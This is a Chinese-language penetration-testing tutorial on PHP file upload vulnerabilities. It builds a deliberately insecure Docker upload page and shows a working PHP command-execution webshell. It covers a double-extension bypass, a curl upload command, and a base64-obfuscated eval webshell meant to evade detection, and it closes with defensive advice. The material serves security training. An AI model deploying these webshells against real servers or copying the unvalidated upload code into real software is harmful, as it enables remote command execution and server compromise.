0x01 实战案例:一次成功的文件上传渗透
在某次授权的渗透测试中,我们的目标是一个依托于PHP构建的企业级内容管理系统(CMS)。在表面上,这个系统看起来配置合理,漏洞有限。然而,经过深入的分析,我们发现了一个隐藏的文件上传功能。这个功能的设计初衷是让用户上传头像图片,但正是这个看似无害的功能,成了我们的突破口。
在文件上传处,系统进行了简单的客户端验证,检查文件扩展名是否为图片格式。然而,服务器端缺乏有效的验证和过滤,为我们的攻击提供了可乘之机。接下来,我们就通过这个高危漏洞成功渗透了目标系统。
攻击原理揭秘:文件上传漏洞的成因
文件上传漏洞常见于Web应用中,通常是因为缺乏对上传文件的严格验证。以下是一些常见的漏洞成因:
- 不安全的文件扩展名检查:仅通过扩展名来判断文件类型,容易被攻击者通过后缀欺骗绕过。
- MIME类型校验不当:服务器端不检查或者错误地检查MIME类型。
- 路径穿越:上传文件路径没有进行严格限制,攻击者可以上传到任意位置。
- 缺乏权限控制:上传后的文件可以被直接访问或执行。
这些问题往往是由于开发人员对上传文件的预期用途过于信任,导致未能对上传内容进行合理的约束和过滤。
实战环境搭建:准备你的高爆发力
在本次实战中,我们将利用Docker搭建一个易受攻击的PHP环境,模拟真实CMS的文件上传功能。
准备工作

首先,我们需要安装Docker。确保你的系统已安装并正确配置。
<pre><code class="language-shell"># 安装 Docker sudo apt-get update sudo apt-get install -y docker.io</code></pre>
搭建靶机
我们将使用一个简单的Docker镜像来模拟目标环境。这个环境中预装了Apache与PHP,并有一个带文件上传功能的PHP页面。
<pre><code class="language-shell"># 创建 Dockerfile cat <<EOF > Dockerfile FROM php:7.4-apache COPY ./upload.php /var/www/html/ RUN chmod 777 /var/www/html/ EOF
创建上传页面
cat <<EOF > upload.php <!DOCTYPE html> <html> <body> <form action="upload.php" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> </form> <?php if (\$_SERVER['REQUEST_METHOD'] == 'POST') { \$target_dir = "uploads/"; \$target_file = \$target_dir . basename(\$_FILES["fileToUpload"]["name"]); move_uploaded_file(\$_FILES["fileToUpload"]["tmp_name"], \$target_file); echo "The file ". basename( \$_FILES["fileToUpload"]["name"]). " has been uploaded."; } ?> </body> </html> EOF
构建镜像并运行容器
docker build -t vuln-upload . docker run -d -p 8080:80 vuln-upload</code></pre>
这段代码将启动一个在本地运行的Web服务器,我们可以通过访问http://localhost:8080进行测试。

Payload构造的艺术:突破上传限制
接下来,我们需要编写恶意脚本并绕过上传限制。在这个案例中,我们将使用一个简单的PHP WebShell作为我们的Payload。
准备WebShell
首先,我们编写一个简单的PHP WebShell:
<pre><code class="language-php"><?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; \$cmd = (\$_REQUEST['cmd']); system(\$cmd); echo '</pre>'; die; } ?></code></pre>
绕过上传限制
此时,我们需要绕过文件上传的扩展名检查。最简单的方法是利用双扩展名技术,例如上传一个名为shell.php.jpg的文件。
上传文件
为了上传这个文件,我们可以使用命令行工具curl来模拟上传请求:
<pre><code class="language-shell">curl -F "[email protected]" http://localhost:8080/upload.php</code></pre>
如果上传成功,我们就可以在浏览器中通过访问http://localhost:8080/uploads/shell.php.jpg来执行命令,前提是Web服务器允许执行PHP。
需要注意的是,某些服务器可能会对上传目录的PHP执行进行限制,这时我们需要进一步的Bypass策略。
绕过与免杀:提高存活率
在实战中,绕过文件上传的限制只是开始,如何让Payload存活并不被检测是我们需要考虑的下一个问题。
文件名混淆
通过混淆Payload文件名,可以在一定程度上降低被发现的概率,比如在文件名中加入随机字符。
内容混淆
对WebShell的内容进行简单加密或混淆可以进一步提高隐匿性。例如,我们可以使用Base64编码来隐藏主要的执行逻辑。
<pre><code class="language-php"><?php eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpewplY28gJzxwcmU+JzsKJGNtZCA9ICgkX1JFUVVFU1RbJ2NtZCddKTsKc3lzdGVtKCRjbWQpOwplY28gJzwvcHJlPic7CmRpZTsKfQ==')); ?></code></pre>
这种方式大大增加了被检测的难度,但仍需注意某些高级检测工具能够识别这种模式。
检测与防御:如何筑起坚固的防线

即便我们从攻击者的角度已经成功突破,但从防御角度看,这些漏洞也有其防御策略:
服务器端验证
首先,严禁仅依赖客户端验证。在服务器端严格检查文件扩展名、MIME类型及文件内容。
上传目录权限控制
限制上传目录的执行权限,仅允许存放静态文件,避免上传的文件被直接执行。
安全开发实践
在开发过程中,贯彻输入验证和输出编码的原则,确保所有用户输入都经过严格过滤。
使用安全工具
利用现有的安全工具进行静态和动态分析,及时发现和修补潜在漏洞。
个人经验分享:从漏洞到武器化
在我的职业生涯中,文件上传漏洞是一个既古老又常见的漏洞类型。许多案例中,这个漏洞被忽视,导致严重的后果。在进行渗透测试时,文件上传功能始终是重点关注的目标之一。
从攻击者角度看,成功的关键在于找到合适的绕过策略,无论是通过扩展名、MIME类型还是内容混淆。但更重要的是,攻击者的思维方式在于持续探索和创新,从而将潜在的漏洞转化为可执行的攻击链。
最后,提醒各位研究者,所有实验应在法律允许的范围内进行,仅用于授权的安全测试。希望本文能为你的安全研究之路提供一些助力。